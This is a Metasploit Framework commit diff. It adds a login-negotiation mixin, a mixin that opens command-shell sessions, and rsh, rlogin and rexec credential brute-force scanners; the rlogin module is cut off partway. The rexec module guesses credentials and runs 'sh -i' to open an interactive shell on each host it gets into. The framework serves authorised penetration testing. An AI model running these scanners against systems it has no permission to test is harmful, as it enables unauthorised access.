Super-duper rservices commit -
1. Added rsh, rlogin, and rexec auth brute scanners 2. Login negotation moved into new Msf::Auxiliary::Login mixin 3. Centralized session registration for auth brute scanners 4. Telnet and SSH auth brute scanners updated to use new mixins 5. Previously committed rservices mixin (r11093) git-svn-id: file:///home/svn/framework3/trunk@11106 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
90182c01f5
commit
9c668b8daf
|
@ -0,0 +1,55 @@
|
||||||
|
##
|
||||||
|
# $Id$
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/base/sessions/command_shell_options'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# This module provides methods for scanning modules that yield
|
||||||
|
# Command Shell sessions.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
|
||||||
|
module Auxiliary::CommandShell
|
||||||
|
|
||||||
|
include Msf::Sessions::CommandShellOptions
|
||||||
|
|
||||||
|
#
|
||||||
|
# Ghetto
|
||||||
|
#
|
||||||
|
module CRLFLineEndings
|
||||||
|
def put(str)
|
||||||
|
return super if not str
|
||||||
|
super(str.strip + "\r\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def start_session(obj, info, ds_merge, crlf = false, sock = nil)
|
||||||
|
if crlf
|
||||||
|
# Windows telnet server requires \r\n line endings and it doesn't
|
||||||
|
# seem to affect anything else.
|
||||||
|
obj.sock.extend(CRLFLineEndings)
|
||||||
|
end
|
||||||
|
|
||||||
|
sock ||= obj.sock
|
||||||
|
sess = Msf::Sessions::CommandShell.new(sock)
|
||||||
|
sess.set_from_exploit(obj)
|
||||||
|
sess.info = info
|
||||||
|
|
||||||
|
# Clean up the stored data
|
||||||
|
sess.exploit_datastore.merge!(ds_merge)
|
||||||
|
|
||||||
|
# Prevent the socket from being closed
|
||||||
|
obj.sockets.delete(sock)
|
||||||
|
obj.sock = nil if obj.respond_to? :sock
|
||||||
|
|
||||||
|
framework.sessions.register(sess)
|
||||||
|
sess.process_autoruns(datastore)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,242 @@
|
||||||
|
##
|
||||||
|
# $Id$
|
||||||
|
##
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# This module exposes methods that may be useful to exploits that deal with
|
||||||
|
# servers that require authentication via /bin/login
|
||||||
|
#
|
||||||
|
###
|
||||||
|
module Auxiliary::Login
|
||||||
|
|
||||||
|
NULL = "\000"
|
||||||
|
CR = "\r"
|
||||||
|
LF = "\n"
|
||||||
|
EOL = CR + LF
|
||||||
|
|
||||||
|
#
|
||||||
|
# Creates an instance of a login negoation module.
|
||||||
|
#
|
||||||
|
def initialize(info = {})
|
||||||
|
super
|
||||||
|
|
||||||
|
# Appended to by each read and gets reset after each send. Doing it
|
||||||
|
# this way lets us deal with partial reads in the middle of expect
|
||||||
|
# strings, e.g., the first recv returns "Pa" and the second returns
|
||||||
|
# "ssword: "
|
||||||
|
@recvd = ''
|
||||||
|
@trace = ''
|
||||||
|
|
||||||
|
#
|
||||||
|
# Some of these regexes borrowed from NeXpose, others added from datasets
|
||||||
|
#
|
||||||
|
@login_regex = /(?:log[io]n( name|)|user(name|id|))\s*\:/i
|
||||||
|
@password_regex = /(?:password|passwd)\s*\:/i
|
||||||
|
@false_failure_regex = /(?:(^\s*last)\ login *\:|allows only\ .*\ Telnet\ Client\ License)/i
|
||||||
|
@failure_regex = /(?:
|
||||||
|
Incorrect | Unknown | Fail | Invalid |
|
||||||
|
Login | Password | Passwd | Username |
|
||||||
|
Unable | Error | Denied | Reject |
|
||||||
|
Refuse | Close | Closing | %\ Bad |
|
||||||
|
Sorry |
|
||||||
|
Not\ on\ system\ console |
|
||||||
|
Enter\ username\ and\ password |
|
||||||
|
Auto\ Apply\ On |
|
||||||
|
YOU\ LOGGED\ IN\ USING\ ALL\ UPPERCASE\ CHARACTERS|
|
||||||
|
\n\*$ |
|
||||||
|
(Login ?|User ?)(name|): |
|
||||||
|
^\s*\<[a-f0-9]+\>\s*$ |
|
||||||
|
^\s*220.*FTP
|
||||||
|
)/mix
|
||||||
|
|
||||||
|
@waiting_regex = /(?:
|
||||||
|
.*please\ wait.* |
|
||||||
|
.*one\ minute.*
|
||||||
|
)/mix
|
||||||
|
|
||||||
|
@busy_regex = /(?:
|
||||||
|
Another\ telnet\ session\ is\ in\ progress | Disconnecting\.\.\.
|
||||||
|
)/mix
|
||||||
|
|
||||||
|
@success_regex = /(?:
|
||||||
|
list\ of\ built-in |
|
||||||
|
sh.*[\#\$]\s*$ |
|
||||||
|
\[\/\]\s*$ |
|
||||||
|
or\ the\ MENU\ system |
|
||||||
|
Password\ is\ not\ set |
|
||||||
|
logging\ in\ as\ visitor |
|
||||||
|
Login\ successful
|
||||||
|
)/mix
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Appends to the @recvd buffer which is used to tell us whether we're at a
|
||||||
|
# login prompt, a password prompt, or a working shell.
|
||||||
|
#
|
||||||
|
def recv(fd=self.sock, timeout=10)
|
||||||
|
|
||||||
|
data = ''
|
||||||
|
|
||||||
|
begin
|
||||||
|
data = fd.get_once(-1, timeout.to_i)
|
||||||
|
return nil if not data or data.length == 0
|
||||||
|
|
||||||
|
# combine EOL into "\n"
|
||||||
|
data.gsub!(/#{EOL}/no, "\n")
|
||||||
|
|
||||||
|
@trace << data
|
||||||
|
@recvd << data
|
||||||
|
fd.flush
|
||||||
|
|
||||||
|
rescue ::EOFError, ::Errno::EPIPE
|
||||||
|
end
|
||||||
|
|
||||||
|
data
|
||||||
|
end
|
||||||
|
|
||||||
|
def login_prompt?
|
||||||
|
return true if @recvd =~ @login_regex
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
def command_echo?(cmd)
|
||||||
|
recvn = @recvd.gsub(/^(\s*#{cmd}\r?\n\s*|\s*\*+\s*)/, '')
|
||||||
|
if(recvn != @recvd)
|
||||||
|
@recvd = recvn
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
def waiting_message?
|
||||||
|
recvn = @recvd.gsub(@waiting_regex, '')
|
||||||
|
if(recvn != @recvd)
|
||||||
|
@recvd = recvn.strip
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
def busy_message?
|
||||||
|
recvn = @recvd.gsub(@busy_regex, '')
|
||||||
|
if(recvn != @recvd)
|
||||||
|
@recvd = recvn.strip
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
def password_prompt?
|
||||||
|
return true if @recvd =~ @password_regex
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
def login_failed?
|
||||||
|
# Naively, failure means matching the failure regex.
|
||||||
|
#
|
||||||
|
# However, this leads to problems with false positives in the case of
|
||||||
|
# "login:" because unix systems commonly show "Last login: Sat Jan 3
|
||||||
|
# 20:22:52" upon successful login, so check against a false-positive
|
||||||
|
# regex, also.
|
||||||
|
#
|
||||||
|
|
||||||
|
# Empty strings should not count
|
||||||
|
if @recvd.strip.length == 0
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
# If we have not seen a newline, this is likely an echo'd prompt
|
||||||
|
if ! @recvd.index("\n")
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
# We do have a set of highly-accurate success patterns
|
||||||
|
if (@recvd =~ @success_regex)
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
if @recvd =~ @failure_regex
|
||||||
|
if @recvd !~ @false_failure_regex
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
def login_succeeded?
|
||||||
|
# Much easier to test for failure than success because a few key words
|
||||||
|
# mean failure whereas all kinds of crap is used for success, much of
|
||||||
|
# which also shows up in failure messages.
|
||||||
|
return (not login_failed?)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# This method logs in as the supplied user by transmitting the username
|
||||||
|
#
|
||||||
|
def send_user(user, nsock = self.sock)
|
||||||
|
got_prompt = wait_for(@login_regex)
|
||||||
|
if not got_prompt
|
||||||
|
print_error("#{rhost} - Something is wrong, didn't get a login prompt")
|
||||||
|
end
|
||||||
|
return send_recv("#{user}\r\n")
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# This method completes user authentication by sending the supplied password
|
||||||
|
#
|
||||||
|
def send_pass(pass, nsock = self.sock)
|
||||||
|
got_prompt = wait_for(@password_regex)
|
||||||
|
if not got_prompt
|
||||||
|
print_error("#{rhost} - Something is wrong, didn't get a password prompt")
|
||||||
|
end
|
||||||
|
return send_recv("#{pass}\r\n")
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_recv(msg, nsock = self.sock)
|
||||||
|
raw_send(msg, nsock)
|
||||||
|
recv_all(nsock)
|
||||||
|
return @recvd
|
||||||
|
end
|
||||||
|
|
||||||
|
def recv_all(nsock = self.sock, timeout = 10)
|
||||||
|
# Make sure we read something in
|
||||||
|
wait_for(/./)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# This method transmits a telnet command and does not wait for a response
|
||||||
|
#
|
||||||
|
# Resets the @recvd buffer
|
||||||
|
#
|
||||||
|
def raw_send(cmd, nsock = self.sock)
|
||||||
|
@recvd = ''
|
||||||
|
@trace << cmd
|
||||||
|
nsock.put(cmd)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Wait for the supplied string (or Regexp) to show up on the socket, or a
|
||||||
|
# timeout
|
||||||
|
#
|
||||||
|
def wait_for(expect, nsock = self.sock)
|
||||||
|
if expect.kind_of? Regexp
|
||||||
|
regx = expect
|
||||||
|
else
|
||||||
|
regx = /#{Regexp.quote(expect)}/i
|
||||||
|
end
|
||||||
|
return true if @recvd =~ regx
|
||||||
|
|
||||||
|
resp = ''
|
||||||
|
while (resp and not @recvd =~ regx)
|
||||||
|
resp = recv(nsock)
|
||||||
|
end
|
||||||
|
|
||||||
|
return (@recvd =~ regx)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -1,3 +1,7 @@
|
||||||
|
##
|
||||||
|
# $Id$
|
||||||
|
##
|
||||||
|
|
||||||
#
|
#
|
||||||
# Auxiliary mixins
|
# Auxiliary mixins
|
||||||
#
|
#
|
||||||
|
@ -9,3 +13,5 @@ require 'msf/core/auxiliary/scanner'
|
||||||
require 'msf/core/auxiliary/timed'
|
require 'msf/core/auxiliary/timed'
|
||||||
require 'msf/core/auxiliary/wmapmodule'
|
require 'msf/core/auxiliary/wmapmodule'
|
||||||
require 'msf/core/auxiliary/crawler'
|
require 'msf/core/auxiliary/crawler'
|
||||||
|
require 'msf/core/auxiliary/commandshell'
|
||||||
|
require 'msf/core/auxiliary/login'
|
||||||
|
|
|
@ -1,3 +1,7 @@
|
||||||
|
##
|
||||||
|
# $Id$
|
||||||
|
##
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
|
|
||||||
require 'msf/core/exploit/tcp'
|
require 'msf/core/exploit/tcp'
|
||||||
|
@ -11,6 +15,7 @@ require 'msf/core/exploit/tcp'
|
||||||
module Exploit::Remote::Telnet
|
module Exploit::Remote::Telnet
|
||||||
|
|
||||||
include Exploit::Remote::Tcp
|
include Exploit::Remote::Tcp
|
||||||
|
include Auxiliary::Login
|
||||||
|
|
||||||
# Borrowing constants from Ruby's Net::Telnet class (ruby license)
|
# Borrowing constants from Ruby's Net::Telnet class (ruby license)
|
||||||
IAC = 255.chr # "\377" # "\xff" # interpret as command
|
IAC = 255.chr # "\377" # "\xff" # interpret as command
|
||||||
|
@ -77,11 +82,6 @@ module Exploit::Remote::Telnet
|
||||||
OPT_NEW_ENVIRON = 39.chr # "'" # "\x27" # New Environment Option
|
OPT_NEW_ENVIRON = 39.chr # "'" # "\x27" # New Environment Option
|
||||||
OPT_EXOPL = 255.chr # "\377" # "\xff" # Extended-Options-List
|
OPT_EXOPL = 255.chr # "\377" # "\xff" # Extended-Options-List
|
||||||
|
|
||||||
NULL = "\000"
|
|
||||||
CR = "\015"
|
|
||||||
LF = "\012"
|
|
||||||
EOL = CR + LF
|
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Creates an instance of a Telnet exploit module.
|
# Creates an instance of a Telnet exploit module.
|
||||||
|
@ -106,53 +106,6 @@ module Exploit::Remote::Telnet
|
||||||
|
|
||||||
register_autofilter_ports([ 23 ])
|
register_autofilter_ports([ 23 ])
|
||||||
register_autofilter_services(%W{ telnet })
|
register_autofilter_services(%W{ telnet })
|
||||||
|
|
||||||
# Appended to by each read and gets reset after each send. Doing it
|
|
||||||
# this way lets us deal with partial reads in the middle of expect
|
|
||||||
# strings, e.g., the first recv returns "Pa" and the second returns
|
|
||||||
# "ssword: "
|
|
||||||
@recvd = ''
|
|
||||||
|
|
||||||
#
|
|
||||||
# Some of these regexes borrowed from NeXpose, others added from datasets
|
|
||||||
#
|
|
||||||
@login_regex = /(?:log[io]n( name|)|user(name|id|))\s*\:/i
|
|
||||||
@password_regex = /(?:password|passwd)\s*\:/i
|
|
||||||
@false_failure_regex = /(?:(^\s*last)\ login *\:|allows only\ .*\ Telnet\ Client\ License)/i
|
|
||||||
@failure_regex = /(?:
|
|
||||||
Incorrect | Unknown | Fail | Invalid |
|
|
||||||
Login | Password | Passwd | Username |
|
|
||||||
Unable | Error | Denied | Reject |
|
|
||||||
Refuse | Close | Closing | %\ Bad |
|
|
||||||
Sorry |
|
|
||||||
Not\ on\ system\ console |
|
|
||||||
Enter\ username\ and\ password |
|
|
||||||
Auto\ Apply\ On |
|
|
||||||
YOU\ LOGGED\ IN\ USING\ ALL\ UPPERCASE\ CHARACTERS|
|
|
||||||
\n\*$ |
|
|
||||||
(Login ?|User ?)(name|): |
|
|
||||||
^\s*\<[a-f0-9]+\>\s*$ |
|
|
||||||
^\s*220.*FTP
|
|
||||||
)/mix
|
|
||||||
|
|
||||||
@waiting_regex = /(?:
|
|
||||||
.*please\ wait.* |
|
|
||||||
.*one\ minute.*
|
|
||||||
)/mix
|
|
||||||
|
|
||||||
@busy_regex = /(?:
|
|
||||||
Another\ telnet\ session\ is\ in\ progress | Disconnecting\.\.\.
|
|
||||||
)/mix
|
|
||||||
|
|
||||||
@success_regex = /(?:
|
|
||||||
list\ of\ built-in |
|
|
||||||
sh.*[\#\$]\s*$ |
|
|
||||||
\[\/\]\s*$ |
|
|
||||||
or\ the\ MENU\ system |
|
|
||||||
Password\ is\ not\ set |
|
|
||||||
logging\ in\ as\ visitor |
|
|
||||||
Login\ successful
|
|
||||||
)/mix
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -172,7 +125,7 @@ module Exploit::Remote::Telnet
|
||||||
begin
|
begin
|
||||||
Timeout.timeout(banner_timeout) do
|
Timeout.timeout(banner_timeout) do
|
||||||
while(true)
|
while(true)
|
||||||
buff = recv_telnet(fd)
|
buff = recv(fd)
|
||||||
self.banner << buff if buff
|
self.banner << buff if buff
|
||||||
if(self.banner =~ @login_regex or self.banner =~ @password_regex)
|
if(self.banner =~ @login_regex or self.banner =~ @password_regex)
|
||||||
break
|
break
|
||||||
|
@ -192,13 +145,17 @@ module Exploit::Remote::Telnet
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def recv(fd=self.sock, timeout=datastore['TelnetTimeout'])
|
||||||
|
recv_telnet(fd, timeout)
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Handle telnet option negotiation
|
# Handle telnet option negotiation
|
||||||
#
|
#
|
||||||
# Appends to the @recvd buffer which is used to tell us whether we're at a
|
# Appends to the @recvd buffer which is used to tell us whether we're at a
|
||||||
# login prompt, a password prompt, or a working shell.
|
# login prompt, a password prompt, or a working shell.
|
||||||
#
|
#
|
||||||
def recv_telnet(fd=self.sock, timeout=datastore['TelnetTimeout'])
|
def recv_telnet(fd, timeout)
|
||||||
|
|
||||||
data = ''
|
data = ''
|
||||||
|
|
||||||
|
@ -262,82 +219,6 @@ module Exploit::Remote::Telnet
|
||||||
data
|
data
|
||||||
end
|
end
|
||||||
|
|
||||||
def login_prompt?
|
|
||||||
return true if @recvd =~ @login_regex
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
|
|
||||||
def command_echo?(cmd)
|
|
||||||
recvn = @recvd.gsub(/^(\s*#{cmd}\r?\n\s*|\s*\*+\s*)/, '')
|
|
||||||
if(recvn != @recvd)
|
|
||||||
@recvd = recvn
|
|
||||||
return true
|
|
||||||
end
|
|
||||||
false
|
|
||||||
end
|
|
||||||
|
|
||||||
def waiting_message?
|
|
||||||
recvn = @recvd.gsub(@waiting_regex, '')
|
|
||||||
if(recvn != @recvd)
|
|
||||||
@recvd = recvn.strip
|
|
||||||
return true
|
|
||||||
end
|
|
||||||
false
|
|
||||||
end
|
|
||||||
|
|
||||||
def busy_message?
|
|
||||||
recvn = @recvd.gsub(@busy_regex, '')
|
|
||||||
if(recvn != @recvd)
|
|
||||||
@recvd = recvn.strip
|
|
||||||
return true
|
|
||||||
end
|
|
||||||
false
|
|
||||||
end
|
|
||||||
|
|
||||||
def password_prompt?
|
|
||||||
return true if @recvd =~ @password_regex
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
|
|
||||||
def login_failed?
|
|
||||||
# Naively, failure means matching the failure regex.
|
|
||||||
#
|
|
||||||
# However, this leads to problems with false positives in the case of
|
|
||||||
# "login:" because unix systems commonly show "Last login: Sat Jan 3
|
|
||||||
# 20:22:52" upon successful login, so check against a false-positive
|
|
||||||
# regex, also.
|
|
||||||
#
|
|
||||||
|
|
||||||
|
|
||||||
# Empty strings should not count
|
|
||||||
if @recvd.strip.length == 0
|
|
||||||
return true
|
|
||||||
end
|
|
||||||
|
|
||||||
# If we have not seen a newline, this is likely an echo'd prompt
|
|
||||||
if ! @recvd.index("\n")
|
|
||||||
return true
|
|
||||||
end
|
|
||||||
|
|
||||||
# We do have a set of highly-accurate success patterns
|
|
||||||
if (@recvd =~ @success_regex)
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
|
|
||||||
if @recvd =~ @failure_regex
|
|
||||||
if @recvd !~ @false_failure_regex
|
|
||||||
return true
|
|
||||||
end
|
|
||||||
end
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
def login_succeeded?
|
|
||||||
# Much easier to test for failure than success because a few key words
|
|
||||||
# mean failure whereas all kinds of crap is used for success, much of
|
|
||||||
# which also shows up in failure messages.
|
|
||||||
return (not login_failed?)
|
|
||||||
end
|
|
||||||
|
|
||||||
def user
|
def user
|
||||||
datastore["USERNAME"]
|
datastore["USERNAME"]
|
||||||
end
|
end
|
||||||
|
@ -346,70 +227,6 @@ module Exploit::Remote::Telnet
|
||||||
datastore["PASSWORD"]
|
datastore["PASSWORD"]
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# This method logs in as the supplied user by transmitting the username
|
|
||||||
#
|
|
||||||
def send_user(user, nsock = self.sock)
|
|
||||||
got_prompt = wait_for(@login_regex)
|
|
||||||
if not got_prompt
|
|
||||||
print_error("#{rhost} - Something is wrong, didn't get a login prompt")
|
|
||||||
end
|
|
||||||
return send_recv("#{user}\r\n")
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# This method completes user authentication by sending the supplied password
|
|
||||||
#
|
|
||||||
def send_pass(pass, nsock = self.sock)
|
|
||||||
got_prompt = wait_for(@password_regex)
|
|
||||||
if not got_prompt
|
|
||||||
print_error("#{rhost} - Something is wrong, didn't get a password prompt")
|
|
||||||
end
|
|
||||||
return send_recv("#{pass}\r\n")
|
|
||||||
end
|
|
||||||
|
|
||||||
def send_recv(msg, nsock = self.sock)
|
|
||||||
raw_send(msg, nsock)
|
|
||||||
recv_all(nsock)
|
|
||||||
return @recvd
|
|
||||||
end
|
|
||||||
|
|
||||||
def recv_all(nsock = self.sock, timeout = tel_timeout)
|
|
||||||
# Make sure we read something in
|
|
||||||
wait_for(/./)
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# This method transmits a telnet command and does not wait for a response
|
|
||||||
#
|
|
||||||
# Resets the @recvd buffer
|
|
||||||
#
|
|
||||||
def raw_send(cmd, nsock = self.sock)
|
|
||||||
@recvd = ''
|
|
||||||
@trace << cmd
|
|
||||||
nsock.put(cmd)
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Wait for the supplied string (or Regexp) to show up on the socket, or a
|
|
||||||
# timeout
|
|
||||||
#
|
|
||||||
def wait_for(expect, nsock = self.sock)
|
|
||||||
if expect.kind_of? Regexp
|
|
||||||
regx = expect
|
|
||||||
else
|
|
||||||
regx = /#{Regexp.quote(expect)}/i
|
|
||||||
end
|
|
||||||
return true if @recvd =~ regx
|
|
||||||
|
|
||||||
resp = ''
|
|
||||||
while (resp and not @recvd =~ regx)
|
|
||||||
resp = recv_telnet(nsock)
|
|
||||||
end
|
|
||||||
|
|
||||||
return (@recvd =~ regx)
|
|
||||||
end
|
|
||||||
|
|
||||||
##
|
##
|
||||||
#
|
#
|
||||||
# Wrappers for getters
|
# Wrappers for getters
|
||||||
|
|
|
@ -0,0 +1,193 @@
|
||||||
|
##
|
||||||
|
# $Id$
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
include Msf::Exploit::RServices
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::AuthBrute
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
include Msf::Auxiliary::CommandShell
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'rexec Authentication Scanner',
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will test an rexec service on a range of machines and
|
||||||
|
report successful logins.
|
||||||
|
|
||||||
|
NOTE: This module requires access to bind to privileged ports (below 1024).
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '1999-0651' ]
|
||||||
|
],
|
||||||
|
'Author' => [ 'jduck '],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(512),
|
||||||
|
OptBool.new('ENABLE_STDERR', [ true, 'Enables connecting the stderr port', false ]),
|
||||||
|
OptInt.new( 'STDERR_PORT', [ false, 'The port to listen on for stderr', nil ])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
print_status("#{ip}:#{rport} - Starting rexec sweep")
|
||||||
|
|
||||||
|
if datastore['ENABLE_STDERR']
|
||||||
|
# For each host, bind a privileged listening port for the target to connect
|
||||||
|
# back to.
|
||||||
|
ret = listen_on_random_port(datastore['STDERR_PORT'])
|
||||||
|
if not ret
|
||||||
|
return :abort
|
||||||
|
end
|
||||||
|
sd, stderr_port = ret
|
||||||
|
else
|
||||||
|
sd = stderr_port = nil
|
||||||
|
end
|
||||||
|
|
||||||
|
# The maximum time for a host is set here.
|
||||||
|
Timeout.timeout(300) {
|
||||||
|
each_user_pass { |user, pass|
|
||||||
|
do_login(user, pass, sd, stderr_port)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sd.close if sd
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def do_login(user, pass, sfd, stderr_port)
|
||||||
|
vprint_status("#{target_host}:#{rport} - Attempting rexec with username:password '#{user}':'#{pass}'")
|
||||||
|
|
||||||
|
cmd = datastore['CMD']
|
||||||
|
cmd ||= 'sh -i 2>&1'
|
||||||
|
|
||||||
|
# We must connect from a privileged port.
|
||||||
|
return :abort if not connect
|
||||||
|
|
||||||
|
sock.put("#{stderr_port}\x00#{user}\x00#{pass}\x00#{cmd}\x00")
|
||||||
|
|
||||||
|
if sfd and stderr_port
|
||||||
|
stderr_sock = sfd.accept
|
||||||
|
add_socket(stderr_sock)
|
||||||
|
else
|
||||||
|
stderr_sock = nil
|
||||||
|
end
|
||||||
|
|
||||||
|
# Read the expected nul byte response.
|
||||||
|
buf = sock.get_once(1)
|
||||||
|
return :abort if buf != "\x00"
|
||||||
|
|
||||||
|
# NOTE: We report this here, since we are awfully convinced now that this is really
|
||||||
|
# an rexec service.
|
||||||
|
report_service(
|
||||||
|
:host => rhost,
|
||||||
|
:port => rport,
|
||||||
|
:proto => 'tcp',
|
||||||
|
:name => 'rexec'
|
||||||
|
)
|
||||||
|
|
||||||
|
# should we report a vuln here? rexec allowed w/o password?!
|
||||||
|
print_good("#{target_host}:#{rport}, rexec '#{user}' : '#{pass}'")
|
||||||
|
start_rexec_session(rhost, rport, user, pass, buf, stderr_sock)
|
||||||
|
|
||||||
|
return :next_user
|
||||||
|
|
||||||
|
# For debugging only.
|
||||||
|
#rescue ::Exception
|
||||||
|
# print_error("#{$!}")
|
||||||
|
# return :abort
|
||||||
|
|
||||||
|
ensure
|
||||||
|
disconnect()
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
#
|
||||||
|
# This is only needed by rexec so it is not in the rservices mixin
|
||||||
|
#
|
||||||
|
def listen_on_random_port(specific_port = 0)
|
||||||
|
stderr_port = nil
|
||||||
|
if specific_port > 0
|
||||||
|
stderr_port = specific_port
|
||||||
|
sd = listen_on_port(stderr_port)
|
||||||
|
else
|
||||||
|
stderr_port = 1024 + rand(0x10000 - 1024)
|
||||||
|
512.times {
|
||||||
|
sd = listen_on_port(stderr_port)
|
||||||
|
break if sd
|
||||||
|
stderr_port = 1024 + rand(0x10000 - 1024)
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
if not sd
|
||||||
|
print_error("Unable to bind to listener port")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
add_socket(sd)
|
||||||
|
print_status("Listening on port #{stderr_port}")
|
||||||
|
[ sd, stderr_port ]
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def listen_on_port(stderr_port)
|
||||||
|
vprint_status("Trying to listen on port #{stderr_port} ..")
|
||||||
|
sd = nil
|
||||||
|
begin
|
||||||
|
sd = Rex::Socket.create_tcp_server('LocalPort' => stderr_port)
|
||||||
|
|
||||||
|
rescue Rex::AddressInUse
|
||||||
|
# Ignore and try again
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
sd
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def start_rexec_session(host, port, user, pass, proof, stderr_sock)
|
||||||
|
report_auth_info(
|
||||||
|
:host => host,
|
||||||
|
:port => port,
|
||||||
|
:sname => 'rexec',
|
||||||
|
:user => user,
|
||||||
|
:pass => pass,
|
||||||
|
:proof => proof,
|
||||||
|
:active => true
|
||||||
|
)
|
||||||
|
|
||||||
|
merge_me = {
|
||||||
|
'USERPASS_FILE' => nil,
|
||||||
|
'USER_FILE' => nil,
|
||||||
|
'PASS_FILE' => nil,
|
||||||
|
'USERNAME' => user,
|
||||||
|
'PASSWORD' => pass,
|
||||||
|
# Save a reference to the socket so we don't GC prematurely
|
||||||
|
:stderr_sock => stderr_sock
|
||||||
|
}
|
||||||
|
|
||||||
|
# Don't tie the life of this socket to the exploit
|
||||||
|
self.sockets.delete(stderr_sock)
|
||||||
|
|
||||||
|
start_session(self, "rexec #{user}:#{pass} (#{host}:#{port})", merge_me)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,234 @@
|
||||||
|
##
|
||||||
|
# $Id$
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
include Msf::Exploit::RServices
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::AuthBrute
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
include Msf::Auxiliary::Login
|
||||||
|
include Msf::Auxiliary::CommandShell
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'rlogin Authentication Scanner',
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will test an rlogin service on a range of machines and
|
||||||
|
report successful logins.
|
||||||
|
|
||||||
|
NOTE: This module requires access to bind to privileged ports (below 1024).
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '1999-0651' ]
|
||||||
|
],
|
||||||
|
'Author' => [ 'jduck' ],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(513),
|
